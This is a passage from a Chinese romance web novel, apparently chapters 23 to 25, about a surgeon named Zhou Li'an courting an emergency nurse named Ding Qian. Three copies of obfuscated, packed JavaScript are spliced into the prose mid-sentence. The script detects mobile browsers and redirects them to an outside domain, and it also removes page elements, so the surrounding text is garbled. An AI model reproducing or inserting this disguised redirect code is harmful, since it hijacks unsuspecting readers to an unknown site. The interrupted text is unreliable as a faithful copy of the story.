“陈越，有你这么不正经的吗？”江洛一把打掉。 “陈哥，快点！”丁浅十分配合，甚至在陈越按下拍照键的时候伸手指了指江洛。 照片里，两位姑娘笑容烂漫，江洛双手托着下巴，丁浅抬手戳了戳她的脸蛋，当真是一张人人都能看懂的照片。 陈越特意配了一段文绉绉的话：两张门票，一张换了故事，一张得了女朋友。 / 周黎安看到，已是深夜。 周芸早在一个小时之前就给他发了一条微信消息，碍于工作直到忙完才回。 【小越都有女朋友了，你还想单身到什么时候？】周芸的原话。 周黎安点开陈越的朋友圈，一眼看到偎依在江洛身上的姑娘。 她对着镜头，眼里流光溢彩，笑容不怀好意。 周黎安很少翻看别人的朋友圈，但那张笑容总在心头荡起，他在睡前无法克制，终于点开了丁浅的朋友圈。 没设权限，里面照片不多，都是些生活日常，周黎安一张张看过，手指最终停在一张泛黄的照片上。 背景是一片操场，丁浅站在人来人往的跑道上歪着脑袋对着镜头比耶，青涩的面孔，光洁的额头，还有在阳光下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437139|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮着金黄的发尾，都异常耀眼。 周黎安知道丁浅底子好，也能猜到她高中是受人欢迎的女学生，但这照片确是第一次看到。 他想到了自己高中那会，班上确实有那么几位长相不错的女生，她们张扬热情，时时刻刻都爱把自己的美貌挂在嘴边，试图作为博取别人关注的武器。 但丁浅不是。 她骨子里虽然存着反骨的筋脉，但外表绝对乖到让人无法起疑，要不然怎么连他也被蒙骗？ / 出差回来，正是周三。 路过姑姑家门，周黎安停车将带给陈越的东西送过去。 “奶奶，陈越人呢？”周黎安放下东西，随口问道。 “都谈女朋友啦，这个时候怎么可能在家？”杨淑梅正在看一部职场新剧，年长的男上司正拉着小姑娘的手准备去看烟花。 “那我微信跟他说。”周黎安掏出手机，发完便要回去。 “回来。”老太太皱着眉，看着已经转身走到门口的孙儿。 “我问你，小丁有没有交男朋友？” “人家要是有男朋友哪肯替朋友去相亲？”周黎安有些无语。 老太太指了指电视，“电视上人家小姑娘不就谈了个年纪大的男朋友，我看也没有哪里不合适的，你抓紧点！” 周黎安想要解释，老太太挥挥手示意他赶紧回去，别待在她面前碍眼。 回到家，周黎安收拾行李箱，意外注意到角落里那两盒巧克力。 是替陈越买东西时碰巧看见的。 店里的销售极力推荐，说是现在年轻姑娘都爱吃这款。 周黎安没买，排队结账时偶然听到后排两位女生各种夸赞，说是跑了这么多家店终于买到，那语气听着属实激动。 他转过身，询问之后才知道，这款巧克力几乎一上架就被抢购一空，关键苏城还没有。 犹豫再三，周黎安折返到柜台，将仅剩的一盒挑走，又跟着刚刚从后排姑娘手里看到的图案，另挑了一盒其他口味。 买的时候没想太多，只想到丁浅爱吃这些。眼下收拾，他才有种束手无策的感觉。 这种东西，该怎么自然又大方的送出去，才不会被退回头？ 想了一整晚，周黎安也没想出什么头绪。 反而第二天在医院大门口遇上她。 丁浅似乎快要来不及，粉紫色的电动车从他车前一闪而过。 辗转一晚上的问题，终于有了眉目。 接近中午，周黎安提前离开病区。 他拎着纸质购物袋来到停放电动车的地方，看了一圈才在角落里找到丁浅的粉紫色电动车，他自然走过去，将东西别在车龙头上。 拍了张照，边往回走边在对话框里输入： 【奶奶的意思。】 周黎安没说是什么东西，导致丁浅到更衣室顺手就给拿了出来。 “交男朋友啦？”路过的同事眼尖，余光一眼扫到包装。 丁浅愣了一下，摇头说不是。 “你一害羞就脸红，还要我们戳穿不成？” “真不是——” 半天时间，整个急诊都知道丁浅正在被人追求，就连护士长庞燕看到，都停下来打趣了两句。 【周主任，巧克力是奶奶买的吗？】 下班时间，丁浅拎着巧克力边走边给人发消息。 没人回应，直到过了九点。 茶几上传来“叮”地一声，周黎安的消息进来： 【我买的。】 24. 024 丁浅：【？？？】 隔了一会儿，周黎安的电话进来。 搭班那段时间，丁浅没怎么接过他的电话，一来都在一个科室，二来，他找她几乎都在上班时间。 “周主任，您——”丁浅有些问不出口，总觉得对方并不是自己所想的那个意思。 “出差，看到顺便买了。” “那您怎么知道我的车——” “看见过，要不然还能跟踪你？” 心思被人识破，丁浅立马改口：“不不不，我不是这个意思。我是觉得…会不会太贵重了？” 毕竟帮忙照顾一下老人，哪用得着买这些。 丁浅看着茶几上并排放着两盒巧克力，完全无从下手。 “老太太点名让买。怎么，你不爱吃了？”周黎安胡乱找了个借口，想借此试探她的心思。 几句话一问，丁浅也不好贸然再提其他问题，尽管这个理由太荒谬，但她也没有选择再为难周黎安。 “您替我谢谢她老人家。还有——” “嗯？” “改天请您吃饭。”丁浅咬咬下唇，“还差您一顿饭。” “有空吧。” 电话挂断，周黎安确信，那姑娘当真了。 听着她忐忑不安的语气，周黎安觉得自己把简单的事情弄复杂了，明明可以直接说是买来送她，偏偏绕了一大圈。 结果小姑娘不仅没当真，反而有要还他人情的意思。 情绪足足干扰了周黎安一整晚。 第二天，钱唐看见周黎安脸色阴郁，吓得直接将程一鸣拉走。 “咱们昨天没做错什么吧？”钱唐小心翼翼看了一眼后排。 “没有啊，昨天我们不是还被周主任表扬了吗？” “那你看后面。”钱唐压低声音，“你没发现，周主任今天有点不太正常吗？” 程一鸣扭过头象征性看了一眼，“我觉得挺正常啊，谁上班心情会好？” “不是。你不觉得他——” “钱唐！”周黎安的声音，吓了他一跳。 “看吧，我就说他有问题！”钱唐哭丧着脸起身，不过走到周黎安跟前立马堆满了笑容。 / 中午，趁着吃饭时间，周黎安给陈越打了通电话。 “哥，难得啊！”陈越刚吃完，正和银行几位同事坐在大厅外的长椅上晒太阳，暖暖的阳光照在身上，昏昏沉沉直让人想睡上一觉。 “问你件事。” “什么事？”陈越微眯着双眼，直打呵欠。 “想要看出别人什么心思，应该怎么做？” “什么？” 周黎安叹口气，直说：“我的意思是…追女孩，怎样才能知道对方怎么想！” “直接问啊！”陈越脱口而出。 说完之后，他立马站起身，似乎还没从刚刚的话里反应过来。 陈越一副不可置信的表情，问：“哥，你刚刚说什么，你要表白？” 周围一片笑声，陈越再无困意，他走远几步追着问电话里愁眉不展的男人，“哥，你看上谁了？” “丁浅。” “我靠！哥，还是你猛啊！” 陈越在电话那头各种大呼小叫，周黎安终于忍不住将电话离远了些，他呵斥道：“有没有办法，没有我挂了。” “有，肯定有啊！”陈越清了清嗓子，开始发问：“哥，你得先告诉我你对人家什么感觉。是好感，还是喜欢，还是…迷恋。” “好感吧。挺…可爱一姑娘。” 周黎安本想说张扬，仔细一想，觉得这个词配不上此时他对她的心思。 “你可以直接说。” “不行。”周黎安把送巧克力那事一说，直接遭到陈越一顿吐槽。 “你这样只会让浅浅误会更深。你就应该直接告诉她，因为你喜欢吃，所以我看见就买了。” “不会很奇怪？” “你这送的不明不白才更奇怪好嘛！哥，就我的观察，现在小姑娘就喜欢你这种成熟稳重长得还帅的男人，相信我，浅浅她也一样。” 想到她连看他的勇气都很勉强，周黎安明显打消了这个主意，“算了，我再观察一阵。” “什么再观察？浅浅长得漂亮又会唱歌，就我之前去那几回，好几位男生都想问她要联系方式，你别不着急。” 周黎安：“……” “要不我让江洛先去探探底，看看浅浅什么想法？”陈越清楚自己表哥什么性格，打算主动接下这个艰巨的任务。 “不用，我自己再想想。先替我保密，你别瞎掺合，听到没有？” “知道知道，不过哥你速度点啊！” 这件事如同结冰的河面被人凭空砸了一个窟窿，越来越多的河水倒灌，让终年结冰的冰面彻底破碎。 周黎安和陈越聊完之后，认真想过这个问题，碍于好几台手术已经定下，一时半会他也没能找到合适的机会。 转眼过去一周。 四月初，周黎安将老太太送回乡下，姑姑周芸留他在家吃饭。 厨房里，周芸正在指挥丈夫炒菜，客厅里陈越神秘兮兮地走到周黎安身边，“提前给你透露点消息，我妈可能要给你说媒。” 周黎安点点头，表示知道。 “陈越，过来端菜！”厨房里传来周芸的声音。 “哥，我劝你说实话，否则还会有下一次。”陈越塞了一嘴薯片，将袋子塞到周黎安手里，赶紧去厨房帮忙。 饭桌上，气氛和谐。 周芸对自己的指导工作相当满意，各种夹菜，恨不得直接将盘子端到周黎安面前。 “姑姑，您是有什么事跟我说？”有了陈越打小报告，周黎安已经做好心理准备，一副洗耳恭听的模样。 “嗐，也不是什么大事。”周芸放下筷子，欲言又止地笑说：“这不，我们科室同事的表妹，刚调到这边中学教务处，我看年龄跟你合适，想问你要不要约个时间见见？” “不用。”周黎安一口回绝。 周芸顿时就不高兴，拉下脸质问道：“你这护士也不中意，教师也不中意，难不成真打算一辈子不找女朋友？” 姑父陈建新见状，拉着自家妻子示意她少说两句。 “现在不是少说两句的问题，是我得知道黎安他到底什么想法！” 周芸训完丈夫，转头又看周黎安，“那你跟我说实话，那边的房子不住什么意思？就算离医院太远，没必要这么着急买房子，到底什么原因。” “上下班方便。” “我是问，有没有其他情况！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449542|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周黎安不做声。 周芸把目光转到自家儿子身上，“陈越，你天天跟在你哥屁股后面，他到底什么情况？” “表哥的事我怎么知道，您问错人了。”陈越赶忙推辞，生怕惹祸上身。 “确定不知道？” 陈越当场就怂了，勉强改口：“知…知道一点。” “那还不快说！” 陈越看向周黎安，恳求道：“哥你就说吧，不然我妈真饶不了我。” “还在接触中。”周黎安交代：“上回那个。” “奶奶不是说你不中意人家职业？” “年纪小，怕老太太多想。” 一听是相亲活动上那姑娘，周芸瞬间转了脸色。 对方她隔着老远见过，五官样貌生的俊俏，是个招人喜欢的姑娘。 “年纪小没事，真心待人家就行。”周芸解释：“我们家可没有这些条条框框的规定，只要人好心善，我们自然举双手支持。” “妈，我哥刚说了还在接触当中，人家还没——”陈越只插了一句，没来得及往下说就被周芸一记眼神吓退。 “要你替他说，我没听到吗？” 陈越撇撇嘴，自动把嘴巴闭紧。 既然提到，周黎安自然不会再忽悠长辈，他放下筷子，郑重和周芸解释：“姑姑，买房是因为正好中意那套户型，跟要不要谈恋爱无关。其次，那姑娘什么心思我还没摸透，不是您盯着问我没打算太早告诉您。还有，这事别告诉老太太，上回她在急诊见过人家，我怕最后走不到一块，让她老人家空欢喜一场。” “哟，还这么巧呐！”周芸喜上眉梢，口口声声表示这事肯定暂时替他保密。 陈越摇摇头，心里想的是还有更巧的事，他看周黎安一副不愿多说的样子，索性也没挑起话题。 一顿饭吃出好几种情绪，到最后周芸送周黎安出门，千叮咛万嘱咐让他有好消息第一时间通知她。 “您放心，我心里有数。” / 丁浅吃完周黎安送的巧克力才被告知，这种牌子的巧克力相当火爆。 “你说这个牌子还有代购？”丁浅以为顶多会断货，完全不知道还有这么一出。 “你自己看。”沈佳打开朋友圈，果真有代购发的购买消息，关键价格还不算便宜。 “不怪我们乱想。”沈佳捏了捏丁浅的小脸蛋，“实在是我们小丁长得好看。” 这事至今都没办法给出答复，丁浅无法开口告诉任何一个人，她曾经的主任送了她两盒巧克力，还是当地没有的牌子。 丁浅也想过要请周黎安吃饭，文字消息编辑了一次又一次，到最后还是硬生生给删掉。 不管出于何种目的，她总觉得无故提出请人家吃饭，绝对不单纯。 何况，她在饭桌上并不是很好的主导者。 不过这件事也带给她另一种启发。 自从周黎安不顾她的情绪，给她深刻剖析过感情的本质之后，丁浅越来越觉得自己需要一位督导型的恋人。 从前没认真想过这事，如今越来越觉得她的生活中需要一位像周黎安这样的智者。 像周黎安这样的智者…… 像周黎安…… 周黎安？ 那么古板深沉的男人。 25. 025 四月底，苏城下了一场大雨，淅淅沥沥的春雨将仅剩的凉意全部带走，放晴后温度直线上升。 周黎安却患了感冒。 坚持做完一台手术，他整个人已经彻底没了力气。 钱唐见他精神状况不佳，走上前关心道：“周主任，要不您早点回去休息？” “不用。”周黎安摆手，“我缓一会。” 他靠在椅背上短暂休息了一会，醒来并没有好转，反而额头滚烫，周黎安这才知道大事不妙。 “钱唐，有事给我打电话。”周黎安换了衣服，拿上手机往外走。 “周主任，您这样不能开车——” “我去一趟急诊。” / 六点过后，急诊正是忙碌的时候。 丁浅刚吃完饭，就马不停蹄回到护士台开始工作。 正逢换季，咳嗽发热的患者集中发病，连平常话多爱笑的沈佳，都忙到没有功夫说话。 “这破班赶紧结束才好。”工作量猛然增加，沈佳一边忙着核对信息，一边小声吐槽。 “坚持坚持，这阵忙完差不多能下班了。”丁浅注意到护士台外排起了长队，咬咬牙集中注意力。 沈佳处理好手头的工作，赶紧回到输液台。原先的一条队伍自动分散成两条，大家井然有序地往前挪了两步。 周黎安拿着化验单过来，眼瞧着丁浅正全神贯注地帮人扎针，他默默绕到了队伍末尾。 “单子先给我。”丁浅伸手将单子放在旁边，压根没注意眼前戴着口罩，身穿寻常服饰的男人到底是谁。 “把手放在这。”丁浅边拆一次性针头边开始核对信息，“352，周黎安对吗？” 话刚出口，她有些迟钝，“周主任？” “麻烦你了。” “您感冒了？” 丁浅听出他鼻音浓重，嗓音不似以往，好像是勉强从喉咙里发出来的。 这种情况急诊见得多，不用猜也知道。 “发烧。” 丁浅点点头，刚拿上止血带，周黎安已经挽好袖子将左手伸了过来。 冷白色的肌肤，筋脉清晰可见，丁浅瞧着那结实有力量感的挽臂，脑海里突然浮现出那天演唱会结束，他伸手她拽到身边的情景。 “不好找？” “哦，不是。”丁浅连忙将止血带绑好，低头去按那凸起的青筋。 没敢再乱想，找好位置轻拍几下，直接送针进去。 全程不到十秒，丁浅却处理的艰难。 周黎安的目光一直都在，导致她连呼吸都不敢用力。 “您坐哪？”丁浅起身将头顶的输液袋拿上，正要送周黎安过去，却被对方捏住手指。 滚热的触感，正包裹着她冰凉的指尖，丁浅抬头，对上那双分明憔悴的眼眸。 “不用麻烦。”他手微微用力，从她手上接走输液袋。 重新坐下来之后，指尖的烫意依旧没消，丁浅将下一位患者的输液袋放在台面上，借此缓解手上那阵热意。 换水时，正逢丁浅人在输液区。 “丁浅。”周黎安声音有些虚弱，他努力睁开双眼，对着不远处喊道。 “嗳，来了。” 丁浅将废弃的输液袋扔进垃圾桶，转头走过来帮周黎安换水。 刚刚换好，她低头正要给人知会一声，无意瞥见那双眼里流露出来的神色，无力，疲乏，状态似乎不太好。 “周主任，您还好吗？”她轻声问。 “嗯，没事。”周黎安已经闭上了眼睛，有气无力地敷衍着。 丁浅还有工作，多看了两眼转身回了护士台。不过一直不放心，她时不时还是看上一眼，惹得沈佳跟着一块张望。 “小丁，周主任是不是很严重啊？” “我也不清楚。”丁浅收回目光，生怕沈佳乱开玩笑。 交班之后，丁浅换了衣服正要回家，想起周黎安还剩一瓶水没挂完，她折回输液大厅，隔着一段距离，就看见对方抱着双臂歪靠在椅背上。 不知是不是错觉，丁浅总觉得那双皱起的眉眼里，满是疲劳过度所留下的痕迹。 没给自己时间多想，她重新回到更衣室，好在沈佳已经走了。 拿了毛毯，丁浅小心翼翼地走到周黎安面前，将毛毯盖在他手臂上。 丁浅以为自己的动作够轻，也没引起其他人的注意，抬脚正要走，手腕下意识被人拉住。 力道…跟演唱会那天没法相比。 “今天不是学雷锋日。”周黎安睁开眼，手依旧握着她细嫩的手腕，正有逐渐加深的趋势。 丁浅挣扎了两下，他才又缓缓松开。 “我没有…偷偷做好事。”似乎担心引起不必要的麻烦，丁浅声音放的很轻，小小的脸蛋顿时变得红扑扑的，正透着令人沉醉的神色。 “那你脸红什么？”周黎安目光始终都在。 “是你，抓着我的手腕没松。”丁浅没办法正面回答这个问题，匆匆丢下一句“我下班了”，转头就跑。 走出大厅，丁浅用力拍了拍脑袋。 好端端给他送什么毛毯？那么大岁数一个人，不至于连自己的身体都不在意，她倒是主动个什么劲？ 要是被误以为对他存着什么想法，自己又该怎么解释？ 丁浅越想越觉得自己的行为太草率，以至于完全把毛毯还在对方手里这事给忘了。 / 一连三天，周黎安都没有收到丁浅索要毛毯的微信消息。 看着被自己带回来放在值班室的毛毯，他突然意识到自己再不主动，那姑娘恐怕真的一辈子都不会跟他拿东西。 算了一下丁浅的班次，周黎安掐着时间给人发消息： 【毛毯不要了？】 很快，丁浅的消息进来： 【不要！】后面带着个感叹号。 不用猜也知道，那姑娘还在计较那天他故意逗她的事情。 退出微信，周黎安直接给人打了电话过去。 刚刚拨通，他便听到周围一阵笑闹声，再之后又渐渐恢复安静。 想来她刚刚下班。 “没走？” “走了。” “那算了，下次我给你送回去。”周黎安说道。 寻常的语气，听着像在说一件再正常不过的事情。 但显然，电话里并没有立马传来拒绝的声音，甚至他能感觉丁浅正在犹豫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461601|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “周主任您今天值班吗，方便的话我现在过来拿。”丁浅想的是晚上病区人不算太多，她这么过去不至于引起其他护士的注意。 “值班室。”周黎安看着毛毯旁边一袋子零食，眼里渐渐染上一层柔和的神色。 二十分钟，门外传来敲门声。 “没锁。” 值班医生都有专门的休息室，丁浅之前轮岗遇到解决不了的问题，来请过主治医生。 眼下周围静悄悄的，丁浅莫名有些紧张。 倒不是因为来见周黎安，而是担心被人发现，然后乱传什么不好的言论。 静了静心，丁浅伸手打开房门。 周黎安正坐在书桌前，面前摊着厚厚一本医学书，旁边的茶杯里，袅袅升起一缕白烟。 丁浅站在门边，默默注视两眼，自动伸手问他要东西。 “周主任，我的毛毯呢？” 周黎安从座位底下的抽屉里拿出一个小纸袋，直接放在桌上。 “洗过了。”他说。 丁浅走上前接过，没细看拿着东西就要离开。 “等会。” “还有事吗？”她有些赌气的意思，听见声音正一脸茫然地看着桌后的男人。 “这个带走。”周黎安又从旁边拎上来一袋零食，放在刚刚放毛毯的位置。 透明的塑料袋，一眼就能瞧见里面装着些什么。 丁浅不知何意，盯着满袋子的零食又抬头看了眼座位上的男人。 周黎安神色如常，穿着白大褂的样貌更是有一种不可亵渎的感觉，丁浅稍加思考，最终摇头拒绝。 “上回已经给过巧克力了，总吃您的东西不好。” “真不拿？”周黎安看她。 “不拿。”她肯定。 “好心好意买的，既然不收那待会我扔了。”周黎安作势要将袋子收回，他笃定丁浅不会让人难堪。 “别别别，您要真扔了也——”丁浅咬咬牙，伸手问他要过来，“下次别破费了。本来就是很小的事情，不用这么客气。” “没什么事的话，我就不打扰您休息了。”丁浅左手拎着毛毯袋，右手拎着那一袋略沉的零食，正要退出休息室。 周黎安知道今日虽然地点不对，但非常适合表达些什么，尤其他看到丁浅略显害羞的神情，当真冲动了一回。 “丁浅。” “嗯？”丁浅人已经退出休息室，手正握住门把手，听到周黎安的声音她下意识停下动作，却突如其来撞进一双温柔和煦的眼眸当中。 她从未见过周黎安对谁这样过，哪怕是对着老太太，他的态度都是一贯的平淡。 如今这副眼神，倒让她想起江洛损陈越的那句话。 “你也就跟我谈恋爱了才这么温柔。” 她记得陈越非常理直气壮地回过去：“我的温柔不是天生的，喜欢你才会对你特别。” 丁浅被这句话狠狠油到，那会直捂着脸笑陈越电视剧看得太多。 “您还有事吗？”丁浅有种很不好的预感，这种强烈的预感正以闪电般的速度侵蚀着她的大脑，让她无法面对接下来的任何一个环节。 “想问…我可不可以追你？”